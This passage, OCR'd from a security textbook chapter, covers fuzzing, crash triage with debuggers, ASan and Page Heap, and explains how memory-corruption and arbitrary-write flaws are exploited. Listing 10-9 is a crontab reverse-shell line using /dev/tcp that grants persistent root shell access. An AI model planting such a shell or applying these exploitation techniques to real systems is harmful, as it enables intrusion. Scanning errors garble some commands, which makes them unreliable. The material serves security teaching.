mutation to a similar area of the application’s code. Changing an entire byte
could result in many different effects, especially if the value is used for a set

of flags.

You’ll also need to recalculate any checksums or critical fields, such as
total length values after the data has been fuzzed. Otherwise, the resulting
parsing of the data might fail inside a verification step before it ever gets to
the area of the application code that processes the mutated value.

Generating Test Cases

When performing more complex fuzzing, you’ll need to be smarter with
your modifications and understand the protocol to target specific data types.
The more data that passes into an application for parsing, the more complex



the application will be. In many cases, inadequate checks are made at edge
cases of protocol values, such as length values; then, if we already know how
the protocol is structured, we can generate our own test cases from scratch.

Generating our own test cases gives us precise control over the protocol
fields used and their sizes. However, test cases are more complex to develop,
and careful thought must be given to the kinds you want to generate.
Generating test cases allows you to test for types of protocol values that
might never be used when you capture traffic to mutate. But the advantage is
that you’ll exercise more of the application’s code and access areas of code
that are likely to be less well tested.

Vulnerability Triaging

After you've run a fuzzer against a network protocol and the processing
application has crashed, you’ve almost certainly found a bug. The next step is
to find out whether that bug is a vulnerability and what type of vulnerability
it might be, which depends on how and why the application crashed. To do
this analysis, we use vulnerability triaging: taking a series of steps to search for
the root cause of a crash. Sometimes the cause of the bug is clear and easy to
track down. Sometimes a vulnerability causes corruption of an application
seconds, if not hours, after the corruption occurs. This section describes
ways to triage vulnerabilities and increase your chances of finding the root
cause of a particular crash.

Debugging Applications

Different platforms allow different levels of control over your triaging. For
an application running on Windows, macOS, or Linux, you can attach a
debugger to the process. But on an embedded system, you might only have
crash reports in the system log to go on. For debugging, I use CDB on
Windows, GDB on Linux, and LLDB on macOS. All these debuggers are
used from the command line, and I'll provide some of the most useful
commands for debugging your processes.

Starting Debugging
To start debugging, you’ll first need to attach the debugger to the



application you want to debug. You can either run the application directly
under the debugger from the command line or attach the debugger to an
already-running process based on its process ID. Table 10-1 shows the
various commands you need for running the three debuggers.

Table 10-1: Commands for Running Debuggers on Windows, Linux, and macOS

Debugger New process Attach process
CDB cdb application.exe [arguments] cdb -p PID

GDB gdb --args application [arguments] gdb -p PID
LLILLDB 1ldb -- application [arguments] 1ldb -p -PID

Because the debugger will suspend execution of the process after you've
created or attached the debugger, you’ll need to run the process again. You
can issue the commands in Table 10-2 in the debugger’s shell to start the
process execution or resume execution if attaching. The table provides some
simple names for such commands, separated by commas where applicable.

Table 10-2: Simplified Application Execution Commands

Debugger Start execution Resume execution
CDB 9 g

GDB run, r continue, c

LLILLDB process launch, run, r thread continue, c

When a new process creates a child process, it might be the child process
that crashes rather than the process you’re debugging. This is especially
common on Unix-like platforms, because some network servers will fork the
current process to handle the new connection by creating a copy of the
process. In these cases, you need to ensure you can follow the child process,
not the parent process. You can use the commands in Table 10-3 to debug
the child processes.

Table 10-3: Debugging the Child Processes

Debugger Enable child process Disable child process



debugging debugging

CDB .childdbg 1 .childdbg 0
GDB set follow-fork-mode child set follow-fork-mode parent
LLILLDB process attach --name NAME -- exit debugger

waitfor

There are some caveats to using these commands. On Windows with
CDB, you can debug all processes from one debugger. However, with GDB,
setting the debugger to follow the child will stop the debugging of the
parent. You can work around this somewhat on Linux by using the set
detach-on-fork off command. This command suspends debugging of the
parent process while continuing to debug the child and then reattaches to
the parent once the child exits. However, if the child runs for a long time,
the parent might never be able to accept any new connections.

LLDB does not have an option to follow child processes. Instead, you
need to start a new instance of LLDB and use the attachment syntax shown
in Table 10-3 to automatically attach to new processes by the process name.
You should replace the mare in the process LLDB command with the process
name to follow.

Analyzing the Crash

After debugging, you can run the application while fuzzing and wait for the
program to crash. You should look for crashes that indicate corrupted
memory—for example, crashes that occur when trying to read or write to
invalid addresses, or trying to execute code at an invalid address. When
you've identified an appropriate crash, inspect the state of the application to
work out the reason for the crash, such as a memory corruption or an array-
indexing error.

First, determine the type of crash that has occurred from the print out to
the command window. For example, CDB on Windows typically prints the
crash type, which will be something like Access violation, and the debugger
will try to print the instruction at the current program location where the
application crashed. For GDB and LLDB on Unix-like systems, you’ll
instead see the signal type: the most common type is s1Gsecv for segmentation
fault, which indicates that the application tried to access an invalid memory



location.

As an example, Listing 10-2 shows what you’d see in CDB if the
application tried to execute an invalid memory address.

(2228.1b44): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.

00000000 41414141 ?2? 222

Listing 10-2: An example crash in CDB showing invalid memory address

After you’ve determined the type of crash, the next step is to determine
which instruction caused the application to crash so you’ll know what in the
process state you need to look up. Notice in Listing 10-2 that the debugger
tried to print the instruction at which the crash occurred, but the memory
location was invalid, so it returns a series of question marks. When the crash
occurs due to reading or writing invalid memory, you’ll get a full instruction
instead of the question marks. If the debugger shows that you’re executing
valid instructions, you can disassemble the instructions surrounding the
crash location using the commands in Table 10-4.

Table 10-4: Instruction Disassembly Commands

Debugger Disassemble from crash Disassemble a specific
location location

CDB u u ADDR

GDB disassemble disassemble ADDR

LLLDB disassemble -frame disassemble --start-address ADDR

To display the processor’s register state at the point of the crash, you can
use the commands in Table 10-5.

Table 10-5: Displaying and Setting the Processor Register State

Debugger Show general purpose Show specific  Set specific
registers register register

CDB r r @rcx r @rcx = NEWVALUE

GDB info registers info registers rcx  set $rcx = NEWVALUE



LLLLDB register read register read rcx register write rcx
NEWVALUE

You can also use these commands to set the value of a register, which
allows you to keep the application running by fixing the immediate crash and
restarting execution. For example, if the crash occurred because the value of
RCX was pointing to invalid reference memory, it’s possible to reset RCX to
a valid memory location and continue execution. However, this might not
continue successfully for very long if the application is already corrupted.

One important detail to note is how the registers are specified. In CDB,
you use the syntax ewvare to specify a register in an expression (for example,
when building up a2 memory address). For GDB and LLDB, you typically
use smame instead. GDB and LLDB, also have a couple of pseudo registers:
$pc, which refers to the memory location of the instruction currently
executing (which would map to RIP for x64), and ssp, which refers to the
current stack pointer.

When the application you’re debugging crashes, you’ll want to display
how the current function in the application was called, because this provides
important context to determine what part of the application triggered the
crash. Using this context, you can narrow down which parts of the protocol
you need to focus on to reproduce the crash.

You can get this context by generating a stack trace, which displays the
functions that were called prior to the execution of the vulnerable function,
including, in some cases, local variables and arguments passed to those
functions. Table 10-6 lists commands to create a stack trace.

Table 10-6: Creating a Stack Trace

Debugger Display stack trace Display stack trace with arguments
CDB K Kb

GDB backtrace backtrace full

LIL.LDB backtrace

You can also inspect memory locations to determine what caused the
current instruction to crash; use the commands in Table 10-7.

Table 10-7: Displaying Memory Values




Debugger Display bytes/words, dwords, Display ten 1-byte

qwords values
CDB db, dw, dd, dq ADDR db ADDR L16
GDB x/b, x/h, x/w, x/g ADDR x/10b ADDR
LLLDB memory read --size 1,2,4,8 memory read --size 1 --
count 10

Each debugger allows you to control how to display the values in
memory, such as the size of the memory read (like 1 byte to 4 bytes) as well
as the amount of data to print.

Another useful command determines what type of memory an address
corresponds to, such as heap memory, stack memory, or a mapped
executable. Knowing the type of memory helps narrow down the type of
vulnerability. For example, if a memory value corruption has occurred, you
can distinguish whether you’re dealing with a stack memory or heap memory
corruption. You can use the commands in Table 10-8 to determine the
layout of the process memory and then look up what type of memory an
address corresponds to.

Table 10-8: Commands for Displaying the Process Memory Map

Debugger Display process memory map

CDB laddress
GDB info proc mappings

LLDB No direct equivalent

Of course, there’s a lot more to the debugger that you might need to use
in your triage, but the commands provided in this section should cover the
basics of triaging a crash.

Example Crashes

Now let’s look at some examples of crashes so you’ll know what they look
like for different types of vulnerabilities. I’ll just show Linux crashes in
GDB, but the crash information you’ll see on different platforms and



debuggers should be fairly similar. Listing 10-3 shows an example crash
from a typical stack buffer overflow.

GNU gdb 7.7.1
(gdb) r
Starting program: /home/user/triage/stack_overflow

Program received signal SIGSEGV, Segmentation fault.
@ 0x41414141 in 2?2 ()

® (gdb) x/1 $pc
=> 0x41414141: Cannot access memory at address 0x41414141
© (gdb) x/16xw $sp-16

oxbffff620: 0x41414141 0x41414141 0x41414141 0x41414141
oxbffffe30: 0x41414141 0x41414141 0x41414141 0x41414141
oxbffffe4o: 0x41414141 0x41414141 0x41414141 0x41414141
oxbffffe50: 0x41414141 0x41414141 0x41414141 0x41414141

Listing 10-3: An example crash from a stack buffer overflow

The input data was a series of repeating A characters, shown here as the

hex value 0x41. At @, the program has crashed trying to execute the memory
address 0x41414141. The fact that the address contains repeated copies of
our input data is indicative of memory corruption, because the memory
values should reflect the current execution state (such as pointers into the
stack or heap)and are very unlikely to be the same value repeated. We
double-check that the reason it crashed is that there’s no executable code at
0x41414141 by requesting GDB to disassemble instructions at the location

of the program crash @. GDB then indicates that it cannot access memory at
that location. The crash doesn’t necessarily mean a stack overflow has

occured, so to confirm we dump the current stack location ©. By also
moving the stack pointer back 16 bytes at this point, we can see that our
input data has definitely corrupted the stack.

The problem with this crash is that it’s difficult to determine which part
is the vulnerable code. We crashed it by calling an invalid location, meaning
the function that was executing the return instruction is no longer directly
referenced and the stack is corrupted, making it difficult to extract calling
information. In this case, you could look at the stack memory below the
corruption to search for a return address left on the stack by the vulnerable
function, which can be used to track down the culprit. Listing 10-4 shows a
crash resulting from heap buffer overflow, which is considerably more



involved than the stack memory corruption.

user@debian:~/triage$ gdb ./heap_overflow
GNU gdb 7.7.1

(gdb) r
Starting program: /home/user/triage/heap_overflow

Program received signal SIGSEGV, Segmentation fault.
0x0804862b in main ()

@ (gdb) x/i $pc
=> 0x804862b <main+112>: mov (%eax) ,%eax

® (gdb) info registers $eax

eax 0x41414141 1094795585

(gdb) x/51 $pc

=> 0x804862b <main+112>: mov (%eax) ,%eax
0x804862d <main+114>: sub $OXc,%esp
0x8048630 <main+117>: pushl -0x10(%ebp)

© 0x8048633 <main+120>: call *%eax
0x8048635 <main+122>: add $0x10,%esp

(gdb) disassemble
Dump of assembler code for function main:

O 0x08048626 <+107>: mov -0x10(%ebp) ,%eax
0x08048629 <+110>: mov (%eax) ,%eax

=> Ox0804862b <+112>: mov (%eax) ,%eax
0x0804862d <+114>: sub $0xc,%esp
0x08048630 <+117>: pushl -0x10(%ebp)
0x08048633 <+120>: call *%eax

(gdb) x/w $ebp-0x10
Oxbffff708: 0x0804a030

O (gdb) x/4w 0x0804a030
0x804a2030: 0x41414141 0x41414141 0x41414141 0x41414141

(gdb) info proc mappings
process 4578
Mapped address spaces:

Start Addr End Addr Size Offset objfile
0x8048000 0x8049000 0x1000 0x0 /home/user/triage/heap_overflow
0x8049000 0x804a000 0x1000 0x0 /home/user/triage/heap_overflow

O 0x804a000 0x806b00O 0x21000 0x0 [heap]

0xb7cce000 Oxb7cd0OOO 0x2000 0x0
0xb7cdOOOO 0Oxb7e77000 Ox1a7000 0x0 /1lib/libc-2.19.s0

Listing 10-4: An example crash from a heap buffer overflow



Again we get a crash, but it’s at a valid instruction that copies a value from
the memory location pointed to by eax back into eax @. It’s likely that the

crash occurred because eax points to invalid memory. Printing the register @
shows that the value of eax is just our overflow character repeated, which is a
sign of corruption.

We disassemble a little further and find that the value of eax is being used

as a memory address of a function that the instruction at © will call.
Dereferencing a value from another value indicates that the code being
executed is a virtual function lookup from a Virtual Function Table (V'Table).
We confirm this by disassembling a few instructions prior to the crashing

instruction @. We see that a value is being read from memory, then that
value is dereferenced (this would be reading the V'T'able pointer), and finally
it is dereferenced again causing the crash.

Although analysis showing that the crash occurs when dereferencing a
VTable pointer doesn’t immediately verify the corruption of a heap object,
it’s a good indicator. To verify a heap corruption, we extract the value from
memory and check whether it’s corrupted using the 0x41414141 pattern,

which was our input value during testing @. Finally, to check whether the
memory is in the heap, we use the info proc mappings command to dump the
process memory map; from that, we can see that the value 0x0804a030,

which we extracted for @, is within the heap region @. Correlating the
memory address with the mappings indicates that the memory corruption is
isolated to this heap region.

Finding that the corruption is isolated to the heap doesn’t necessarily
point to the root cause of the vulnerability, but we can at least find
information on the stack to determine what functions were called to get to
this point. Knowing what functions were called would narrow down the
range of functions you would need to reverse engineer to determine the
culprit.

Improving Your Chances of Finding the Root Cause of a
Crash

Tracking down the root cause of a crash can be difficult. If the stack memory
is corrupted, you lose the information on which function was being called at



the time of the crash. For a number of other types of vulnerabilities, such as
heap buffer overflows or use-after-free, it’s possible the crash will never
occur at the location of the vulnerability. It’s also possible that the corrupted
memory is set to a value that doesn’t cause the application to crash at all,
leading to a change of application behavior that cannot easily be observed
through a debugger.

Ideally, you want to improve your chances of identifying the exact point
in the application that’s vulnerable without exerting a significant amount of
effort. I'll present a few ways of improving your chances of narrowing down
the vulnerable point.

Rebuilding Applications with Address Sanitizer

If you're testing an application on a Unix-like OS, there’s a reasonable
chance you have the source code for the application. This alone provides you
with many advantages, such as full debug information, but it also means you
can rebuild the application and add improved memory error detection to
improve your chances of discovering vulnerabilities.

One of the best tools to add this improved functionality when rebuilding
is Address Sanitizer (ASan), an extension for the CLANG C compiler that
detects memory corruption bugs. If you specify the -fsanitize=address option
when running the compiler (you can usually specify this option using the
CFLAGS environment variable), the rebuilt application will have additional
instrumentation to detect common memory errors, such as memory
corruption, out-of-bounds writes, use-after-free, and double-free.

The main advantage of ASan is that it stops the application as soon as
possible after the vulnerable condition has occurred. If a heap allocation
overflows, ASan stops the program and prints the details of the vulnerability
to the shell console. For example, Listing 10-5 shows a part of the output
from a simple heap overflow.

==3998==ERROR: AddressSanitizer: heap-buffer-overflow® on address
0xb6102bf4@® at pc 0x081087ae® bp 0xbf9c64d8 sp Oxbf9c64dO
WRITE of size 10 at 0xb6102bf4 thread TO

#0 0x81087ad (/home/user/triage/heap_overflow+0x81087ad)
#1 0xb74cba62 (/1ib/1386-1inux-gnu/1686/cmov/1libc.so0.6+0x19a62)
#2 0x8108430 (/home/user/triage/heap_overflow +0x8108430)




Listing 10-5: Output from ASan for a heap buffer overflow

Notice that the output contains the type of bug encountered @ (in this
case a heap overflow), the memory address of the overflow write @, the
location in the application that caused the overflow ©, and the size of the

overflow @. By using the provided information with a debugger, as shown in
the previous section, you should be able to track down the root cause of the
vulnerability.

However, notice that the locations inside the application are just memory
addresses. Source code files and line numbers would be more useful. To
retrieve them in the stack trace, we need to specify some environment
variables to enable symbolization, as shown in Listing 10-6. The application
will also need to be built with debugging information, which we can do by
passing by the compiler flag -g to CLANG.

$ export ASAN_OPTIONS=symbolize=1
$ export ASAN_SYMBOLIZER_PATH=/usr/bin/1llvm-symbolizer-3.5
$ ./heap_overflow

==4035==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xb6202bf4 at pc
0x081087ae bp 0xbf97a418 sp 0Oxbf97a410
WRITE of size 1 at 0xb6202bf4 thread TO

#0 0x81087ad in main /home/user/triage/heap_overflow.c:8:3@
#1 0xb75a4a62 in __ libc_start_main /build/libc-start.c:287
#2 0x8108430 in _start (/home/user/triage/heap_overflow+0x8108430)

Listing 10-6: Output from ASan for a heap buffer overflow with symbol information

The majority of Listing 10-6 is the same as Listing 10-5. The big

difference is that the crash’s location @ now reflects the location inside the
original source code (in this case, starting at line 8, character 3 inside the file
heap_overflow.c) instead of a memory location inside the program. Narrowing
down the location of the crash to a specific line in the program makes it
much easier to inspect the vulnerable code and determine the reason for the
crash.

Windows Debug and Page Heap

On Windows, access to the source code of the application you’re testing is
probably more restricted. Therefore, you’ll need to improve your chances
for existing binaries. Windows comes with the Page Heap, which you can



enable to improve your chances of tracking down a memory corruption.

You need to manually enable the Page Heap for the process you want to
debug by running the following command as an administrator:

C:\> gflags.exe -1 appname.exe +hpa

The gflags application comes installed with the CDB debugger. The -1
parameter allows you to specify the image filename to enable the Page Heap
on. Replace appname.exe with the name of the application you’re testing. The
+hpa parameter is what actually enables the Page Heap when the application
next executes.

The Page Heap works by allocating special, OS-defined memory pages
(called guard pages) after every heap allocation. If an application tries to read
or write these special guard pages, an error will be raised and the debugger
will be notified immediately, which is useful for detecting a heap buffer
overflow. If the overflow writes immediately at the end of the buffer, the
guard page will be touched by the application and an error will be raised
instantly. Figure 10-1 shows how this process works in practice.

Allocated block Guard page Allocated block Guard page
Allocated object Guard page Overflow buffer Guard page
.

Overflow direction

Crash

eax=05be3ffa ebx=00939000 ecx=000000ce edx=000000ee esi=05be3f2c edi=05be8000
eip=6a90ct5e esE:mh?fgec ebp=00b7fa0c iopl=0 nv up el pl nz na po cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b ef1=00010203
VCRUNTIME140!memcpy+0xde:

6a90cfse f3ad rep movs byte ptr es:[edi],byte ptr [esi]

Figure 10-1: The Page Heap detecting an overflow

You might assume that using the Page Heap would be a good way of
stopping heap memory corruptions from occurring, but the Page Heap
wastes a huge amount of memory because each allocation needs a separate
guard page. Setting up the guard pages requires calling a system call, which



reduces allocation performance. On the whole, enabling the Page Heap for
anything other than debugging sessions would not be a great idea.

Exploiting Common Vulnerabilities

After researching and analyzing a network protocol, you've fuzzed it and
found some vulnerabilities you want to exploit. Chapter 9 describes many
types of security vulnerabilities but not how to exploit those vulnerabilities,
which is what I’ll discuss here. I'll start with how you can exploit memory
corruptions and then discuss some of the more unusual vulnerability types.

The aims of vulnerability exploitation depend on the purpose of your
protocol analysis. If the analysis is on a commercial product, you might be
looking for a proof of concept that clearly demonstrates the issue so the
vendor can fix it: in that case, reliability isn’t as important as a clear
demonstration of what the vulnerability is. On the other hand, if you're
developing an exploit for use in a Red Team exercise and are tasked with
compromising some infrastructure, you might need an exploit that is
reliable, works on many different product versions, and executes the next
stage of your attack.

Working out ahead of time what your exploitation objectives are ensures
you don’t waste time on irrelevant tasks. Whatever your goals, this section
provides you with a good overview of the topic and more in-depth references
for your specific needs. Let’s begin with exploiting memory corruptions.

Exploiting Memory Corruption Vulnerabilities

Memory corruptions, such as stack and heap overflows, are very common in
applications written in memory-unsafe languages, such as C/C++. It’s
difficult to write a complex application in such programming languages
without introducing at least one memory corruption vulnerability. These
vulnerabilities are so common that it’s relatively easy to find information
about how to exploit them.

An exploit needs to trigger the memory corruption vulnerability in such a
way that the state of the program changes to execute arbitrary code. This
might involve hijacking the executing state of the processor and redirecting
it to some executable code provided in the exploit. It might also mean



modifying the running state of the application in such a way that previously
inaccessible functionality becomes available.

The development of the exploit depends on the corruption type and what
parts of the running application the corruption affects, as well as the kind of
anti-exploit mitigations the application uses to make exploitation of a
vulnerability more difficult to succeed. First, I'll talk about the general
principles of exploitation, and then I'll consider more complex scenarios.

Stack Buffer Overflows

Recall that a stack buffer overflow occurs when code underestimates the
length of a buffer to copy into a location on the stack, causing overflow that
corrupts other data on the stack. Most serious of all, on many architectures
the return address for a function is stored on the stack, and corruption of this
return address gives the user direct control of execution, which you can use
to execute any code you like. One of the most common techniques to exploit
a stack buffer overflow is to corrupt the return address on the stack to point
to a buffer containing shell code with instructions you want to execute when
you achieve control. Successfully corrupting the stack in this way results in
the application executing code it was not expecting.

In an ideal stack overflow, you have full control over the contents and
length of the overflow, ensuring that you have full control over the values
you overwrite on the stack. Figure 10-2 shows an ideal stack overflow
vulnerability in operation.
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Figure 10-2: A simple stack overflow exploit

The stack buffer we’ll overflow is below the return address for the
function @. When the overflow occurs, the vulnerable code fills up the

buffer and then overwrites the return address with the value 0x12345678 @.
The vulnerable function completes its work and tries to return to its caller,
but the calling address has been replaced with an arbitrary value pointing to

the memory location of some shell code placed there by the exploit ©. The
return instruction executes, and the exploit gains control over code
execution.

Writing an exploit for a stack buffer overflow is simple enough in the
ideal situation: you just need to craft your data into the overflowed buffer to
ensure the return address points to a memory region you control. In some
cases, you can even add the shell code to the end of the overflow and set the
return address to jump to the stack. Of course, to jump into the stack, you’ll
need to find the memory address of the stack, which might be possible
because the stack won’t move very frequently.

However, the properties of the vulnerability you discovered can create
issues. For example, if the vulnerability is caused by a C-style string copy,
you won’t be able to use multiple 0 bytes in the overflow because C uses a 0
byte as the terminating character for the string: the overflow will stop



immediately once a 0 byte is encountered in the input data. An alternative is
to direct the shell code to an address value with no 0 bytes, for example, shell
code that forces the application to do allocation requests.

Heap Buffer Overflows

Exploiting heap buffer overflows can be more involved than exploiting an
overflow on the stack because heap buffers are often in a less predictable
memory address. This means there is no guarantee you’ll find something as
easily corruptible as the function return address in a known location.
Therefore, exploiting a heap overflow requires different techniques, such as
control of heap allocations and accurate placement of useful, corruptible
objects.

The most common technique for gaining control of code execution for a
heap overflow is to exploit the structure of C++ objects, specifically their use
of VTables. A VTable is a list of pointers to functions that the object
implements. The use of virtual functions allows a developer to make new
classes derived from existing base classes and override some of the
functionality, as illustrated in Figure 10-3.

® p->Funci();

mov ecx, [p]
mov eax, [ecx + offset Funci]

© Object* p = new Object; P

VTable address | Virtual Function 1

Virtual Function 2

Object data
Virtual Function 3

Obiject on the heap Virtual Function 4

VTable in application
Figure 10-3: VTable implementation

To support virtual functions, each allocated instance of a class must

contain a pointer to the memory location of the function table @. When a
virtual function is called on an object, the compiler generates code that looks
up the address of the virtual function table, then looks up the virtual



function inside the table, and finally calls that address @. Typically, we can’t
corrupt the pointers in the table because it’s likely the table is stored in a
read-only part of memory. But we can corrupt the pointer to the VTable
and use that to gain code execution, as shown in Figure 10-4.

I — A
qg; Vulnerable allocation qg;
1 1
Shell code at address
o VTable address o Oxd4444444 Ox12345678
§" %‘ Overflow
T Object data T
Y Y Obiject data

Virtual Function 1 0x12345678

Virtual Function 2 0x12345678

Virtual Function 3 0x12345678

Virtual Function 4 0x12345678

VTable in application Fake VTable at
address Ox44444444

Figure 10-4: Gaining code execution through VTable address corruption

Use-After-Free Vulnerability

A use-after-free vulnerability is not so much a corruption of memory but a
corruption of the state of the program. The vulnerability occurs when a
memory block is freed but a pointer to that block is still stored by some part
of the application. Later in the application’s execution, the pointer to the
freed block is reused, possibly because the application code assumes the
pointer is still valid. Between the time that the memory block is freed and
the block pointer is reused, there’s opportunity to replace the contents of the
memory block with arbitrary values and use that to gain code execution.

When a memory block is freed, it will typically be given back to the heap
to be reused for another memory allocation; therefore, as long as you can
issue an allocation request of the same size as the original allocation, there’s
a strong possibility that the freed memory block would be reused with your
crafted contents. We can exploit use-after-free vulnerabilities using a



technique similar to abusing VTables in heap overflows, as illustrated in
Figure 10-5.

The application first allocates an object p on the heap @, which contains a
VTable pointer we want to gain control of. Next, the application calls delete

on the pointer to free the associated memory @. However, the application
doesn’t reset the value of p, so this object is free to be reused in the future.

€ new byte[SIZE] = {...};
// Later in execution

@) Object* p = new Object; @ delete p; p->Funci();
p Other heap block p \ Other heap block p \ Other heap block
VTable address 0x12345678
Free memory
Object data Arbitrary data
Other heap block Other heap block Other heap block

Figure 10-5: An example of a use-after-free vulnerability

Although it’s shown in the figure as being free memory, the original
values from the first allocation may not actually have been removed. This
makes it difficult to track down the root cause of a use-after-free
vulnerability. The reason is that the program might continue to work fine
even if the memory is no longer allocated, because the contents haven’t
changed.

Finally, the exploit allocates memory that is an appropriate size and has
control over the contents of memory that p points to, which the heap

allocator reuses as the allocation for p ©. If the application reuses p to call a
virtual function, we can control the lookup and gain direct code execution.

Manipulating the Heap Layout

Most of the time, the key to successfully exploiting a heap-based
vulnerability is in forcing a suitable allocation to occur at a reliable location,
so it’s important to manipulate the layout of the heap. Because there is such
a large number of different heap implementations on various platforms, I'm



only able to provide general rules for heap manipulation.

The heap implementation for an application may be based on the virtual
memory management features of the platform the application is executing
on. For example, Windows has the API function VirtualAlloc, which allocates
a block of virtual memory for the current process. However, using the OS
virtual memory allocator introduces a couple of problems:

Poor performance Each allocation and free-up requires the OS to
switch to kernel mode and back again.

Wasted memory At a minimum, virtual memory allocations are done at
page level, which is usually at least 4096 bytes. If you allocate memory
smaller than the page size, the rest of the page is wasted.

Due to these problems, most heap implementations call on the OS
services only when absolutely necessary. Instead, they allocate a large
memory region in one go and then implement user-level code to apportion
that larger allocation into small blocks to service allocation requests.

Efficiently dealing with memory freeing is a further challenge. A naive
implementation might just allocate a large memory region and then
increment a pointer in that region for every allocation, returning the next
available memory location when requested. This will work, but it’s virtually
impossible to then free that memory: the larger allocation could only be
freed once all suballocations had been freed. This might never happen in a
long-running application.

An alternative to the simplistic sequential allocation is to use a free-/ist. A
free-list maintains a list of freed allocations inside a larger allocation. When
a new heap is created, the OS creates a large allocation in which the free-list
would consist of a single freed block the size of the allocated memory. When
an allocation request is made, the heap’s implementation scans the list of free
blocks looking for a free block of sufficient size to contain the allocation.
The implementation would then use that free block, allocate the request
block at the start, and update the free-list to reflect the new free size.

When a block is freed, the implementation can add that block to the free-
list. It could also check whether the memory before and after the newly freed
block is also free and attempt to coalesce those free blocks to deal with
memory fragmentation, which occurs when many small allocated blocks are
freed, returning the blocks to available memory for reuse. However, free-list



entries only record their individual sizes, so if an allocation larger than any
of the free-list entries is requested, the implementation might need to
further expand the OS allocated region to satisfy the request. An example of
a free-list is shown in Figure 10-6.

Free-list Memory region
Free block — Free
16 bytes
Free block Allocated
32 bytes
Free block
16 b)'"e-‘* \ -
Free block
F
1024 bytes ree
Allocated
Free

Figure 10-6: An example of a simple free-list implementation

Using this heap implementation, you should be able to see how you
would obtain a heap layout appropriate to exploiting a heap-based
vulnerability. Say, for example, you know that the heap block you’ll overflow
is 128 bytes; you can find a C++ object with a V'T'able pointer that’s at least
the same size as the overflowable buffer. If you force the application to
allocate a large number of these objects, they’ll end up being allocated
sequentially in the heap. You can selectively free one of these objects (it
doesn’t matter which one), and there’s a good chance that when you allocate
the vulnerable buffer, it will reuse the freed block. Then you can execute
your heap buffer overflow and corrupt the allocated object’s VTable to get
code execution, as illustrated in Figure 10-7.



Allocated object Allocated object Allocated object Allocated object

l Free single object

Allocated object Allocated object |Free memory region| Allocated object
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Allocated object Allocated object | Overflow buffer Allocated object

Overflow direction
Figure 10-7: Allocating memory buffers to ensure correct layout

When manipulating heaps, the biggest challenge in a network attack is
the limited control over memory allocations. If you’re exploiting a web
browser, you can use JavaScript to trivially set up the heap layout, but for a
network application, it’s more difficult. A good place to look for object
allocations is in the creation of a connection. If each connection is backed by
a C++ object, you can control allocation by just opening and closing
connections. If that method isn’t suitable, you’ll almost certainly have to
exploit the commands in the network protocol for appropriate allocations.

Defined Memory Pool Allocations

As an alternative to using an arbitrary free-list, you might use defined
memory pools for different allocation sizes to group smaller allocations
appropriately. For example, you might specify pools for allocations of 16, 64,
256, and 1024 bytes. When the request is made, the implementation will
allocate the buffer based on the pool that most closely matches the size
requested and is large enough to fit the allocation. For example, if you
wanted a 50-byte allocation, it would go into the 64-byte pool, whereas a
512-byte allocation would go into the 1024-byte pool. Anything larger than
1024 bytes would be allocated using an alternative approach for large
allocations. The use of sized memory pools reduces fragmentation caused by
small allocations. As long as there’s a free entry for the requested memory in
the sized pool, it will be satisfied, and larger allocations will not be blocked
as much.



Heap Memory Storage

The final topic to discuss in relation to heap implementations is how
information like the free-list is stored in memory. There are two methods.
In one method, metadata, such as block size and whether the state is free or
allocated, is stored alongside the allocated memory, which is known as in-
band. In the other, known as owus-of-band, metadata is stored elsewhere in
memory. The out-of-band method is in many ways easier to exploit because
you don’t have to worry about restoring important metadata when
corrupting contiguous memory blocks, and it’s especially useful when you
don’t know what values to restore for the metadata to be valid.

Arbitrary Memory Write Vulnerability

Memory corruption vulnerabilities are often the easiest vulnerabilities to
find through fuzzing, but they’re not the only kind, as mentioned in Chapter
9. The most interesting is an arbitrary file write resulting from incorrect
resource handling. This incorrect handling of resources might be due to a
command that allows you to directly specify the location of a file write or
due to a command that has a path canonicalization vulnerability, allowing
you to specify the location relative to the current directory. However the
vulnerability manifests, it’s useful to know what you would need to write to
the filesystem to get code execution.

The arbitrary writing of memory, although it might be a direct
consequence of a mistake in the application’s implementation, could also
occur as a by-product of another vulnerability, such as a heap buffer
overflow. Many old heap memory allocators would use a linked list structure
to store the list of free blocks; if this linked list data were corrupted, any
modification of the free-list could result in an arbitrary write of a value into
an attacker-supplied location.

To exploit an arbitrary memory write vulnerability, you need to modify a
location that can directly control execution. For example, you could target
the VTable pointer of an object in memory and overwrite it to gain control
over execution, as in the methods for other corruption vulnerabilities.

One advantage of an arbitrary write is that it can lead to subverting the

logic of an application. As an example, consider the networked application
shown in Listing 107. Its logic creates a memory structure to store important



information about a connection, such as the network socket used and
whether the user was authenticated as an administrator, when the
connection is created.

struct Session {
int socket;
int is_admin;

};

Session* session = WailtForConnection();

Listing 10-7: A simple connection session structure

For this example, we’ll assume that some code checks, whether or not the
session is an administrator session, will allow only certain tasks to be done,
such as changing the system’s configuration. There is a direct command to
execute a local shell command if you’re authenticated as an administrator in
the session, as shown in Listing 10-8.

Command c = ReadCommand(session->socket);
if (c.command == CMD_RUN_COMMAND
&& session->is_admin) {
system(c->data);

}

Listing 10-8: Opening the run command as an administrator

By discovering the location of the session object in memory, you can
change the is_admin value from o to 1, opening the run command for the
attacker to gain control over the target system. We could also change the
socket value to point to another file, causing the application to write data to
an arbitrary file when writing a response, because in most Unix-like
platforms, file descriptors and sockets are effectively the same type of
resource. You can use the write system call to write to a file, just as you can to
write to the socket.

Although this is a contrived example, it should help you understand what
happens in real-world networked applications. For any application that uses
some sort of authentication to separate user and administrator
responsibilities, you could typically subvert the security system in this way.

Exploiting High-Privileged File Writes

If an application is running with elevated privileges, such as root or



administrator privileges, your options for exploiting an arbitrary file write
are expansive. One technique is to overwrite executables or libraries that you
know will get executed, such as the executable running the network service
you're exploiting. Many platforms provide other means of executing code,
such as scheduled tasks, or cron jobs on Linux.

If you have high privileges, you can write your own cron jobs to a
directory and execute them. On modern Linux systems, there’s usually a
number of cron directories already inside /ezc that you can write to, each with
a suffix that indicates when the jobs will be executed. However, writing to
these directories requires you to give the script file executable permissions. If
your arbitrary file write only provides read and write permissions, you’ll
need to write to /etc/cron.d with a Crontab file to execute arbitrary system
commands. Listing 10-9 shows an example of a simple Crontab file that will
run once a minute and connect a shell process to an arbitrary host and TCP
port where you can access system commands.

* * * * * root /bin/bash -c '/bin/bash -1 >& /dev/tcp/127.0.0.1/1234 0>&1'

Listing 10-9: A simple reverse shell Crontab file

"This Crontab file must be written to Zetc/cron.d/run_shell. Note that some
versions of bash don’t support this reverse shell syntax, so you would have to
